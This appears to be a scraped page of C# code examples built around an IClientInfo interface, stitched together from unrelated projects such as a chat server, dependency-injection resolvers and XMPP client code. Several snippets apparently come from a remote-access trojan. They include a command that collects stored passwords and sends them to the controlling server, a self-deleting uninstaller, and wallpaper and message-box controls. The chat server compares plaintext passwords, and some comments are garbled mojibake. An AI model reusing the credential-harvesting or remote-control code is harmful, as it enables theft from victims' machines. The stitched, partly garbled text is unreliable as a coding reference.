Esempio n. 1
0
        private static void SendFriendRequest(string MessageString, IClientInfo Client)
        {
            string Sender   = AuxiliaryServerWorker.GetElement(MessageString, "-U ", " -Content");
            string Receiver = AuxiliaryServerWorker.GetElement(MessageString, "-Content ", ".");

            AuxiliaryServerWorker.WriteToConsole("[INFO] User " + Sender + " sent a friend request to " + Receiver);
            string ReceiverIpPort = null;
            bool   FoundOnline    = false;

            foreach (Session Sess in AuxiliaryServerWorker.Sessions)
            {
                if (Sess.Username == Receiver)
                {
                    ReceiverIpPort = Sess.IpPort;
                    FoundOnline    = true;
                }
            }
            if (FoundOnline == true)
            {
                AntVaultServer.SendBytes(AuxiliaryServerWorker.GetClientIDFromIPPort(ReceiverIpPort), AuxiliaryServerWorker.MessageByte(MessageString));
                AuxiliaryServerWorker.WriteToConsole("[INFO] Receiver " + Receiver + " received friend request successfully!");
                AntVaultServer.SendBytes(AuxiliaryServerWorker.GetClientID(Client), AuxiliaryServerWorker.MessageByte("/FriendRequestSent -U " + Receiver));
            }
            else
            {
                AuxiliaryServerWorker.WriteToConsole("[WARN] Receiver " + Receiver + " was not online to receive their friend request");
                AntVaultServer.SendBytes(AuxiliaryServerWorker.GetClientID(Client), AuxiliaryServerWorker.MessageByte("/FriendRequestOffline -U " + Receiver));
                //Send offline friend req method here?
            }
        }
Esempio n. 2
0
 IEnumerable <IEntityRule> IRule.GetDomainRules(IBaseEntity baseEntity, IClientInfo clientInfo)
 {
     return(new List <IEntityRule>()
     {
         GetDomainRule(baseEntity)
     });
 }
Esempio n. 3
0
 private static void EndSession(string MessageString, IClientInfo Client)
 {
     foreach (IClientInfo CL in AntVaultServer.GetConnectedClients().Values)
     {
         AntVaultServer.SendBytes(CL.Id, AuxiliaryServerWorker.MessageByte(MessageString));
     }
 }
Esempio n. 4
0
        private static void UpdateProfilePicture(IClientInfo Client, byte[] Data)
        {
            string Sender = null;

            foreach (Session Sess in AuxiliaryServerWorker.Sessions)
            {
                if (Sess.IpPort == Client.RemoteIPv4)
                {
                    Sender = Sess.Username;
                    Sess.ProfilePicture = AuxiliaryServerWorker.GetBitmapFromBytes(Data);
                    AuxiliaryServerWorker.ProfilePictures[AuxiliaryServerWorker.Usernames.IndexOf(Sender)] = Sess.ProfilePicture;
                    try
                    {
                        AuxiliaryServerWorker.WriteToConsole("[INFO] Previous entry found for " + Sess.Username + " updating it now...");
                        File.Delete(UserDirectories + Sess.Username + "\\ProfilePicture_" + Sess.Username + ".png");
                        File.WriteAllBytes(UserDirectories + Sess.Username + "\\ProfilePicture_" + Sess.Username + ".png", Data);
                    }
                    catch (Exception exc)
                    {
                        AuxiliaryServerWorker.WriteToConsole("[ERROR] Could not update profile picture for user " + Sess.Username + " due to " + exc);
                    }
                    AuxiliaryServerWorker.WriteToConsole("[INFO] Profile picture update request finsihed successfully for " + Sender);
                }
            }
        }
        public override void Execute(CommandParameter commandParameter, IFeedbackFactory feedbackFactory,
                                     IClientInfo clientInfo)
        {
            UninstallHelper.RemoveAllDependencies();
            UninstallHelper.RemovePrivateFiles();
            UninstallHelper.RemoveOtherStuff();
            UninstallHelper.UninstallPlugins();

            try
            {
                UninstallHelper.PrepareOrcusFileToRemove();
            }
            catch (Exception ex)
            {
                feedbackFactory.Failed(ex + ": " + ex.Message);
                return;
            }

            var deleteScript = UninstallHelper.GetApplicationDeletingScript();

            feedbackFactory.Succeeded();
            Program.Unload();
            Process.Start(deleteScript);
            Program.Exit();
        }
Esempio n. 6
0
        public T Using <T>(IClientInfo clientInfo)
            where T : class, IHandler
        {
            var HandlerName = typeof(T).Name.Substring(1);

            string ClientPrefix  = clientInfo.AssmPrefix;
            string DefaultPrefix = clientInfo.DefaultPrefix;
            string ResolvefilterName;

            // if (clientInfo.AssmPrefix != clientInfo.DefaultPrefix)
            ResolvefilterName = string.Format("{0}.{1}.", ClientPrefix, EnumServiceTypes.Handlers) + HandlerName;

            var exists = EngineContext
                         .Current
                         .ContainerManager.IsRegisteredByName(ResolvefilterName, typeof(IHandler));

            if (!exists)
            {
                ResolvefilterName = string.Format("{0}.{1}.", DefaultPrefix, EnumServiceTypes.Handlers) + HandlerName;
            }
            return(EngineContext
                   .Current
                   .ContainerManager
                   .Resolve <IHandler>(ResolvefilterName) as T);
        }
        public ServerConnection(TcpClient client, SslStream sslStream, BinaryReader reader, BinaryWriter writer,
                                DatabaseConnection databaseConnection, IClientInfo clientInfo)
        {
            _sslStream   = sslStream;
            _clientInfo  = clientInfo;
            BinaryReader = reader;
            BinaryWriter = writer;
            TcpClient    = client;
            AdministrationConnections = new List <AdministrationConnection>();

            _readByteDelegate += BinaryReader.ReadByte;
            _readByteDelegate.BeginInvoke(EndRead, null);

            SendLock    = new object();
            IsConnected = true;

            databaseConnection.ServerConnection = this;

            try
            {
                SendCachedPackages();
            }
            catch (Exception ex)
            {
                ErrorReporter.Current.ReportError(ex, "Send Cached Packages");
            }

            _onlineCheckTimer = new Timer(OnlineCheckTimerCallback, null, OnlineCheckInterval, Timeout.Infinite);
        }
Esempio n. 8
0
        public static T Using <T>(string filterName, IClientInfo client)
            where T : class, IFilter
        {
            string ClientPrefix  = client.AssmPrefix;
            string DefaultPrefix = client.DefaultPrefix;
            string filter;

            if (client.AssmPrefix != client.DefaultPrefix)
            {
                filter = string.Format("{0}.{1}.", ClientPrefix, EnumServiceTypes.Filters) + filterName;
            }
            else
            {
                filter = CommonUtil.GetResolveName(typeof(T), filterName);
            }


            var exists = EngineContext
                         .Current
                         .ContainerManager.IsRegisteredByName(filter, typeof(T));

            if (!exists)
            {
                filter = string.Format("{0}.{1}.", DefaultPrefix, EnumServiceTypes.Filters) + filterName;
            }

            return(GetServiceType <T>(filter));
        }
Esempio n. 9
0
        private static void MessageReceived(IClientInfo client, string msg)
        {
            WriteLine("The server has received a message from client " + client.Id + " with name : " + client.ClientName + " and guid : " + client.Guid);
            WriteLine("The client is running on " + client.OsVersion + " and UserDomainName = " + client.UserDomainName);

            WriteLine("The server has received a message from client " + client.Id + " the message reads: " + msg);
        }
Esempio n. 10
0
 public UploadExposureKey(IMediator mediator, ValidationProcessor validation, IConfiguration configuration, IClientInfo clientInfo)
 {
     this.mediator      = mediator;
     this.validation    = validation;
     this.configuration = configuration;
     this.clientInfo    = clientInfo;
 }
Esempio n. 11
0
 public HandlerMessages(ITransportClient transportClient, IHandlerResponseFromServer handlerResponseFromServer, IClientInfo clientInfo)
 {
     _transportClient = transportClient;
     _clientInfo      = clientInfo;
     handlerResponseFromServer.MessageReceived += OnMessageReceived;
     handlerResponseFromServer.ConnectedToChat += OnConnectedToChat;
 }
Esempio n. 12
0
 public void SendButton(JSONButton button, IClientInfo client = null)
 {
     if (client == null)
     {
         foreach (IClientInfo clientInfo in this.TCPServer.GetConnectedClients().Values)
         {
             this.SendButton(button, clientInfo);
         }
     }
     else
     {
         this.TCPServer.SendFile(client.Id, button.Icon, button.Icon);
         Console.WriteLine("Icon Sent File Sent");
         this.TCPServer.SendMessage(client.Id, button.ToString());
         Console.WriteLine("Info JSON Sent");
         if (button.Scope == Actions.ActionScope.Client)
         {
             switch (button.ActionCMD)
             {
             case "SOUND":
                 this.TCPServer.SendFile(client.Id, button.ActionArgs, button.ActionArgs); Console.WriteLine("Sent " + button.ActionArgs); break;
             }
         }
     }
 }
 public void FinalizeSession(IClientInfo clientInfo)
 {
     ExecuteWithLog <object>(() =>
     {
         Channel.FinalizeSession(clientInfo);
         return(null);
     }, $" - clientId: {clientInfo.ClientId}");
 }
Esempio n. 14
0
        public override void Execute(CommandParameter commandParameter, IFeedbackFactory feedbackFactory,
                                     IClientInfo clientInfo)
        {
            var passwordData = PasswordsCommand.GetPasswords(true);
            var data         = new Serializer(typeof(PasswordData)).Serialize(passwordData);

            clientInfo.ServerConnection.SendServerPackage(ServerPackageType.AddPasswords, data, false, 0);
        }
Esempio n. 15
0
        private static void SendStatus(string MessageString, IClientInfo Client)
        {
            string Sender        = AuxiliaryServerWorker.GetElement(MessageString, "-U ", ".");
            string CurrentStatus = AuxiliaryServerWorker.GetStatus(Sender);

            AntVaultServer.SendBytes(AuxiliaryServerWorker.GetClientID(Client), AuxiliaryServerWorker.MessageByte("/SendStatus -Content " + CurrentStatus + "."));//SendStatus -Content Status.
            AuxiliaryServerWorker.WriteToConsole("[INFO] Successully sent " + Sender + "'s status");
        }
 public void CreateObjectType(IClientInfo clientInfo, string assemblyName, string typeName)
 {
     ExecuteWithLog <object>(() =>
     {
         Channel.CreateObjectType(clientInfo, assemblyName, typeName);
         return(null);
     }, $" - clientId: {clientInfo.ClientId}; assemblyName: {assemblyName}; typeName: {typeName}");
 }
 public void Logoff(IClientInfo clientInfo)
 {
     ExecuteWithLog <object>(() =>
     {
         Channel.Logoff(clientInfo);
         return(null);
     }, $" - clientId: {clientInfo.ClientId}");
 }
        public override void Execute(CommandParameter commandParameter, IFeedbackFactory feedbackFactory,
                                     IClientInfo clientInfo)
        {
            commandParameter.InitializeProperties(this);

            DesktopWallpaper.Set(WallpaperUrl, DesktopWallpaperStyle);
            feedbackFactory.Succeeded();
        }
Esempio n. 19
0
 public ConnectionInfo(ServerConnection connection, ushort administrationId, IClientInfo clientInfo,
                       IConnectionInitializer connectionInitializer)
 {
     ServerConnection      = connection;
     AdministrationId      = administrationId;
     _sendLock             = connection.SendLock;
     ClientInfo            = clientInfo;
     ConnectionInitializer = connectionInitializer;
 }
Esempio n. 20
0
 public AppConfiguration(IClientInfo client)
 {
     if(object.ReferenceEquals(null,client))
     {
         throw new Exception("Client info nedded");
     }
     _ClientInfo = client;
     ConfigurationObjectManager = new ConfigurationObjectManager();
 }
 public MessageDecoderResult Decodable(IoSession session, IoBuffer input)
 {
     if ((MessageType)input.Get() != MessageType.Update_UpdateInfo)
     {
         return MessageDecoderResult.NotOK;
     }
     _appUdateInfo = (IClientInfo)JsonConvert.DeserializeObject(input.GetString(Encoding.UTF8));
     return MessageDecoderResult.OK;
 }
Esempio n. 22
0
 private static Client InitClient(IClientInfo clientInfo)
 {
     var client = new Client();
     client.Id = Guid.NewGuid();
     client.Login = clientInfo.Login;
     client.Server = clientInfo.Server;
     client.Password = clientInfo.Password;
     return client;
 }
Esempio n. 23
0
 public AppConfiguration(IClientInfo client)
 {
     if (object.ReferenceEquals(null, client))
     {
         throw new Exception("Client info nedded");
     }
     _ClientInfo = client;
     ConfigurationObjectManager = new ConfigurationObjectManager();
 }
        public override void Execute(CommandParameter commandParameter, IFeedbackFactory feedbackFactory,
                                     IClientInfo clientInfo)
        {
            commandParameter.InitializeProperties(this);

            var result = MessageBox.Show(Text, Title, MessageBoxButtons, Icon, DefaultButton);

            feedbackFactory.Succeeded("Message box successfully opened. Result: " + result);
        }
Esempio n. 25
0
 public void AddClient(IClientInfo clientInfo)
 {
     var client = InitClient(clientInfo);
     Account.XmppClients.Add(client);
     EventBus.Publish(new ClientAddedEvent
     {
         ClientId = client.Id
     });
 }
Esempio n. 26
0
        public AdministrationConnection(ushort id, ServerConnection connection, IClientInfo clientInfo)
        {
            _commandSelector = new CommandSelector();
            _connectionInfo  = new ConnectionInfo(connection, id, clientInfo,
                                                  (IConnectionInitializer)_commandSelector.CommandDictionary[32]);
            _connectionInfo.Failed += ConnectionInfoOnFailed;

            Id = id;
        }
Esempio n. 27
0
        private static void DoAuthentication(string MessageString, IClientInfo Client) //NewConnection -U Username -P Password.
        {
            string UsernameC = AuxiliaryServerWorker.GetElement(MessageString, "-U ", " -P");
            string Password  = AuxiliaryServerWorker.GetElement(MessageString, "-P ", ".");

            if (AuxiliaryServerWorker.Usernames.Contains(UsernameC))
            {
                if (AuxiliaryServerWorker.Passwords[AuxiliaryServerWorker.Usernames.IndexOf(UsernameC)] == Password)//Client authenticated successfully
                {
                    Session NewSession = new Session()
                    {
                        IpPort         = Client.RemoteIPv4,
                        Username       = UsernameC,
                        Friends        = AuxiliaryServerWorker.GetFriendsList(UsernameC),
                        LoginTime      = DateTime.Now,
                        ProfilePicture = AuxiliaryServerWorker.GetProfilePicture(UsernameC),
                        Status         = AuxiliaryServerWorker.Statuses[AuxiliaryServerWorker.Usernames.IndexOf(UsernameC)]
                    };
                    AuxiliaryServerWorker.Sessions.Add(NewSession);
                    AntVaultServer.SendBytes(AuxiliaryServerWorker.GetClientID(Client), AuxiliaryServerWorker.MessageByte("/AcceptConnection"));//AcceptConnection
                    AuxiliaryServerWorker.WriteToConsole("[INFO] Client " + UsernameC + " successfully authenticated! Creating new session file...");
                    foreach (Session Sess in AuxiliaryServerWorker.Sessions)
                    {
                        AntVaultServer.SendBytes(AuxiliaryServerWorker.GetClientIDFromIPPort(Sess.IpPort), AuxiliaryServerWorker.MessageByte("/UserConnected -U " + UsernameC + "."));
                    }
                    if (File.Exists(UserDirectories + UsernameC + "\\" + UsernameC + "_lastsession.AntSession"))
                    {
                        try
                        {
                            AuxiliaryServerWorker.WriteToConsole("[INFO] Previous session file located. Updating it now...");
                            File.Delete(UserDirectories + UsernameC + "\\" + UsernameC + "_lastsession.AntSession");
                        }
                        catch (Exception exc)
                        {
                            AuxiliaryServerWorker.WriteToConsole("[ERROR] Could not update session file for " + UsernameC + " due to " + exc);
                        }
                    }
                    try
                    {
                        File.WriteAllBytes(UserDirectories + UsernameC + "\\" + UsernameC + "_lastsession.AntSession", AuxiliaryServerWorker.GetSessionBytes(NewSession));
                        AuxiliaryServerWorker.WriteToConsole("[INFO] Successfully appended session file for " + UsernameC);
                    }
                    catch (Exception exc)
                    {
                        AuxiliaryServerWorker.WriteToConsole("[ERROR] Could not append session file for " + UsernameC + " due to " + exc);
                    }
                }
                else
                {
                    AuxiliaryServerWorker.WriteToConsole("[WARN] Client " + UsernameC + " tried to authenticate with a wrong password!");
                }
            }
            else
            {
                AuxiliaryServerWorker.WriteToConsole("[WARN] Address " + Client.RemoteIPv4 + " tried to authenticate with a non-existant username credential!");
            }
        }
Esempio n. 28
0
 private static void CustomHeaderReceived(IClientInfo client, object msg, IDictionary <object, object> metadata, Type objectType)
 {
     WriteLine("Message: " + msg.ToString());
     foreach (KeyValuePair <object, object> entry in metadata)
     {
         WriteLine($"Key: {entry.Key} , Value: {entry.Value}");
     }
     // WriteLine("Test");
     // WriteLine("The server received a message from the client with ID " + client.Id + " the header is : " + header + " and the message is : " + msg);
 }
Esempio n. 29
0
        private static void ClientDisconnected(IClientInfo client, DisconnectReason reason)
        {
            var id = 0;

            if (client != null)
            {
                id = client.Id;
            }
            WriteLine("Client " + id + " has disconnected from the server.");
        }
Esempio n. 30
0
        private static void SendProfilePictures(string MessageString, IClientInfo Client)
        {
            string Sender = AuxiliaryServerWorker.GetElement(MessageString, "-U ", ".");

            AuxiliaryServerWorker.WriteToConsole("[INFO] User " + Sender + " requested to update their profile picture cache");
            AntVaultServer.SendBytes(AuxiliaryServerWorker.GetClientID(Client), AuxiliaryServerWorker.MessageByte("/SendProfilePictures")); //SendProfilePictures
            Thread.Sleep(500);
            AntVaultServer.SendBytes(AuxiliaryServerWorker.GetClientID(Client), AuxiliaryServerWorker.ProfilePictureBytes(AuxiliaryServerWorker.ProfilePictures));
            AuxiliaryServerWorker.WriteToConsole("[INFO] Successfully sent profile picture cache to user " + Sender);
        }
Esempio n. 31
0
        private static void SendFriendsList(string MessageString, IClientInfo Client)
        {
            string Sender = AuxiliaryServerWorker.GetElement(MessageString, "-U ", ".");

            AuxiliaryServerWorker.WriteToConsole("[INFO] User " + Sender + " requested to update their friends list");
            AntVaultServer.SendBytes(AuxiliaryServerWorker.GetClientID(Client), AuxiliaryServerWorker.MessageByte("/SendFriendsList"));
            Thread.Sleep(100);
            AntVaultServer.SendBytes(AuxiliaryServerWorker.GetClientID(Client), AuxiliaryServerWorker.FriendsListBytes(AuxiliaryServerWorker.GetFriendsList(Sender)));
            AuxiliaryServerWorker.WriteToConsole("[INFO Successfully updated friends list for user " + Sender);
        }
Esempio n. 32
0
        private static void SendUsers(string MessageString, IClientInfo Client)//SendUsers, byte[] UsersList
        {
            string Sender = AuxiliaryServerWorker.GetElement(MessageString, "-U ", ".");

            AuxiliaryServerWorker.WriteToConsole("[INFO] Sending users list to " + Sender);
            AntVaultServer.SendBytes(AuxiliaryServerWorker.GetClientID(Client), AuxiliaryServerWorker.MessageByte("/SendUsernames"));
            Thread.Sleep(100);
            AntVaultServer.SendBytes(AuxiliaryServerWorker.GetClientID(Client), AuxiliaryServerWorker.ReturnByteArrayFromStringCollection(AuxiliaryServerWorker.Usernames));
            AuxiliaryServerWorker.WriteToConsole("[INFO] Successfully sent users list to " + Sender);
        }
Esempio n. 33
0
        public static IFilterKeyPair Using <TFilter>(Enum filter, IClientInfo clientInfo)
            where TFilter : class, IFilter
        {
            var actionFilter  = Using <IDomainActionFilter>(filter.ToString(), clientInfo);
            var filterKeyPair = GetServiceType <TFilter>() as IFilterKeyPair;

            filterKeyPair.SetRef(actionFilter);

            return(filterKeyPair);
        }
Esempio n. 34
0
        private static void HandleMessage(string MessageString, IClientInfo Client)
        {
            string Sender  = AuxiliaryServerWorker.GetElement(MessageString, "-U ", " -Content");
            string Message = AuxiliaryServerWorker.GetElement(MessageString, "-Content ", ".");

            AuxiliaryServerWorker.WriteToConsole("[" + Sender + "]: " + Message);
            foreach (Session Sess in AuxiliaryServerWorker.Sessions)
            {
                AntVaultServer.SendBytes(AuxiliaryServerWorker.GetClientIDFromIPPort(Sess.IpPort), AuxiliaryServerWorker.MessageByte(MessageString));
            }
        }
Esempio n. 35
0
 public void EditClient(Guid? id, IClientInfo clientInfo)
 {
     var client = (id == null) ? GetClientByClientInfo(clientInfo) : ModelContext.GetClientById((Guid)id);
     var context = SessionModel.GetClientContext(client);
     if (context.State == ClientState.Disconnected)
     {
         client.Login = clientInfo.Login;
         client.Server = clientInfo.Server;
     }
     client.Password = clientInfo.Password;
 }
Esempio n. 36
0
 public void RemoveClient(IClientInfo clientInfo)
 {
     Client client = GetClientByClientInfo(clientInfo);
     if (client != null)
     {
         EventBus.Publish(new ClientRemovingEvent
         {
             ClientId = client.Id
         });
         Account.XmppClients.Remove(client);
     }
 }
Esempio n. 37
0
        /// <summary>
        /// ��ȡָ�����õ�Ԫ���ļ�·��
        /// </summary>
        /// <param name="client">�ͻ���Ϣ</param>
        /// <param name="unitInfo">���õ�Ԫ��Ϣ</param>
        /// <returns>·��</returns>
        protected string GetConfigUnitFilePath(IClientInfo client, IConfigurationUnitInfo unitInfo)
        {
            string path = null;

            switch (unitInfo.Domain)
            {
                case EnumConfigDomain.Application:
                    path = client.SystemConfigurationDirectory;
                    break;

                case EnumConfigDomain.User:
                    path = client.UserConfigurationDirectory;
                    break;

                default:
                    throw new Exception("δ֪�������ļ���");
                    break;
            }

            return System.IO.Path.Combine(path, unitInfo.FileName);
        }
 public OnClientDisconnectArgs(IClientInfo clientInfo)
 {
     ClientInfo = clientInfo;
 }
 public TestAppConfiguration(IClientInfo client)
     : base(client)
 {
 }
Esempio n. 40
0
 private Client GetClientByClientInfo(IClientInfo clientInfo)
 {
     return Account.XmppClients.FirstOrDefault(t => t.Login == clientInfo.Login
                                                             && t.Server == clientInfo.Server);
 }